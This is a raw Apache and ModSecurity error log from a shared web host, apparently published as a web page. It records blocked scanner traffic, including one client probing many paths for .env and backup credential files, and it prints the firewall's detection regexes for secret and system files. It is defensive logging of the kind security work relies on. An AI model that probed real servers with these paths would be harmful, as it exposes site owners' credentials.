https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:23:15.713678 2026] [access_compat:error] [pid 715691:tid 715747] [remote 57.141.14.56:24268] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:15.714095 2026] [access_compat:error] [pid 715691:tid 715747] [remote 57.141.14.56:24268] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:15.811283 2026] [security2:error] [pid 715691:tid 715826] [remote 17.241.219.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30c7V-dFiaX9AtWiQixAABQnM"] [Sat Jun 13 18:23:15.834750 2026] [access_compat:error] [pid 715691:tid 715738] [remote 57.141.14.56:24278] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:15.835133 2026] [access_compat:error] [pid 715691:tid 715738] [remote 57.141.14.56:24278] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:16.105367 2026] [access_compat:error] [pid 646876:tid 646887] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:23:16.105985 2026] [access_compat:error] [pid 646876:tid 646887] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:23:16.262014 2026] [security2:error] [pid 715691:tid 715836] [remote 17.241.75.202:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 202.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30dLV-dFiaX9AtWiQi3wABcH0"] [Sat Jun 13 18:23:16.306817 2026] [security2:error] [pid 646876:tid 646987] [remote 17.246.23.139:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 139.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30dNyTkdrNlD40tSHRqQAAcmw"] [Sat Jun 13 18:23:16.659067 2026] [access_compat:error] [pid 646876:tid 646936] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:23:16.659420 2026] [access_compat:error] [pid 646876:tid 646936] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:23:16.661371 2026] [security2:error] [pid 715691:tid 715842] [client 45.61.184.21:43121] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "uscblogistics.com"] [uri "/"] [unique_id "ai30dLV-dFiaX9AtWiQi6QAAAQs"] [Sat Jun 13 18:23:16.685989 2026] [access_compat:error] [pid 646876:tid 646886] [remote 57.141.14.62:31208] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:16.686328 2026] [access_compat:error] [pid 646876:tid 646886] [remote 57.141.14.62:31208] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:16.706776 2026] [access_compat:error] [pid 646876:tid 646981] [remote 57.141.14.99:20710] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:16.707049 2026] [access_compat:error] [pid 646876:tid 646981] [remote 57.141.14.99:20710] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:16.859072 2026] [access_compat:error] [pid 715691:tid 715837] [remote 57.141.14.30:65340] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:16.859507 2026] [access_compat:error] [pid 715691:tid 715837] [remote 57.141.14.30:65340] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:16.864759 2026] [security2:error] [pid 715691:tid 715728] [remote 17.241.219.22:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 22.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30dLV-dFiaX9AtWiQi8gABSxI"] [Sat Jun 13 18:23:16.968677 2026] [access_compat:error] [pid 646876:tid 646950] [remote 57.141.14.89:65132] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:16.969174 2026] [access_compat:error] [pid 646876:tid 646950] [remote 57.141.14.89:65132] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:17.046855 2026] [security2:error] [pid 715691:tid 715927] [client 142.248.80.191:50498] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/.env"] [unique_id "ai30dbV-dFiaX9AtWiQi-wAAAWA"] [Sat Jun 13 18:23:17.212296 2026] [security2:error] [pid 715691:tid 715913] [client 142.248.80.191:50608] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/app/.env"] [unique_id "ai30dbV-dFiaX9AtWiQjAwAAAVI"] [Sat Jun 13 18:23:17.221897 2026] [access_compat:error] [pid 646876:tid 646881] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:17.222344 2026] [access_compat:error] [pid 646876:tid 646881] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:17.227987 2026] [security2:error] [pid 715691:tid 715922] [client 142.248.80.191:50700] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/public/.env"] [unique_id "ai30dbV-dFiaX9AtWiQjBgAAAVs"] [Sat Jun 13 18:23:17.232022 2026] [security2:error] [pid 646876:tid 647117] [client 142.248.80.191:50534] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/.env.bak"] [unique_id "ai30ddyTkdrNlD40tSHRxAAAAG0"] [Sat Jun 13 18:23:17.237892 2026] [security2:error] [pid 715691:tid 715951] [client 142.248.80.191:50586] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/.env.old"] [unique_id "ai30dbV-dFiaX9AtWiQjFAAAAXg"] [Sat Jun 13 18:23:17.266374 2026] [security2:error] [pid 715691:tid 715917] [client 142.248.80.191:50624] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/api/.env"] [unique_id "ai30dbV-dFiaX9AtWiQjHQAAAVY"] [Sat Jun 13 18:23:17.267234 2026] [security2:error] [pid 715691:tid 715966] [client 142.248.80.191:50542] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/.env.backup"] [unique_id "ai30dbV-dFiaX9AtWiQjFwAAAYc"] [Sat Jun 13 18:23:17.267590 2026] [security2:error] [pid 715691:tid 715933] [client 142.248.80.191:50628] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/backend/.env"] [unique_id "ai30dbV-dFiaX9AtWiQjIAAAAWY"] [Sat Jun 13 18:23:17.467453 2026] [security2:error] [pid 715691:tid 715773] [remote 149.28.167.253:52584] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 253.167.28.149.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "semakulajeffrey.com"] [uri "/xmlrpc.php"] [unique_id "ai30dbV-dFiaX9AtWiQjPwABFT4"] [Sat Jun 13 18:23:17.467733 2026] [security2:error] [pid 715691:tid 715852] [client 149.28.167.253:52584] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "semakulajeffrey.com"] [uri "/xmlrpc.php"] [unique_id "ai30dbV-dFiaX9AtWiQjPwABFT4"] [Sat Jun 13 18:23:17.470023 2026] [security2:error] [pid 715691:tid 715787] [remote 17.246.23.125:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 125.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30dbV-dFiaX9AtWiQjQAABX0w"] [Sat Jun 13 18:23:17.527562 2026] [access_compat:error] [pid 715691:tid 715759] [remote 57.141.14.98:46220] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:17.528029 2026] [access_compat:error] [pid 715691:tid 715759] [remote 57.141.14.98:46220] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:17.540293 2026] [security2:error] [pid 715691:tid 715721] [remote 57.141.14.36:58908] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 36.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai30dbV-dFiaX9AtWiQjRAABags"], referer: https://nelsonfarmstn.com/product/wonder-berry/?add_to_wishlist=398&_wpnonce=8d149de2a5&add-to-cart=391 [Sat Jun 13 18:23:17.613127 2026] [security2:error] [pid 715691:tid 715953] [client 142.248.80.191:50644] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/laravel/.env"] [unique_id "ai30dbV-dFiaX9AtWiQjRwAAAXo"] [Sat Jun 13 18:23:17.613292 2026] [security2:error] [pid 715691:tid 715899] [client 142.248.80.191:50660] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/src/.env"] [unique_id "ai30dbV-dFiaX9AtWiQjSAAAAUQ"] [Sat Jun 13 18:23:17.614511 2026] [security2:error] [pid 715691:tid 715959] [client 142.248.80.191:50674] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/server/.env"] [unique_id "ai30dbV-dFiaX9AtWiQjSgAAAYA"] [Sat Jun 13 18:23:17.616970 2026] [security2:error] [pid 715691:tid 715859] [client 142.248.80.191:50686] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/web/.env"] [unique_id "ai30dbV-dFiaX9AtWiQjTAAAARw"] [Sat Jun 13 18:23:17.662649 2026] [core:error] [pid 715691:tid 715854] [client 47.79.202.48:18788] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:23:17.662687 2026] [core:error] [pid 715691:tid 715854] [client 47.79.202.48:18788] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:23:17.739555 2026] [access_compat:error] [pid 646876:tid 646999] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:17.739843 2026] [access_compat:error] [pid 646876:tid 646999] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:17.745587 2026] [security2:error] [pid 646876:tid 646948] [remote 40.77.167.132:7055] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 132.167.77.40.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "celadondragon.com"] [uri "/content/histanddynasties/content/pronguide/content/primer/SouthernLiang/kangxi.php"] [unique_id "ai30ddyTkdrNlD40tSHR3QAAREU"] [Sat Jun 13 18:23:18.095210 2026] [access_compat:error] [pid 646876:tid 646977] [remote 57.141.14.38:64155] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:18.095649 2026] [access_compat:error] [pid 646876:tid 646977] [remote 57.141.14.38:64155] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:18.165017 2026] [access_compat:error] [pid 646876:tid 646895] [remote 57.141.14.109:49376] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:18.165467 2026] [access_compat:error] [pid 646876:tid 646895] [remote 57.141.14.109:49376] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:18.253224 2026] [access_compat:error] [pid 646876:tid 646984] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 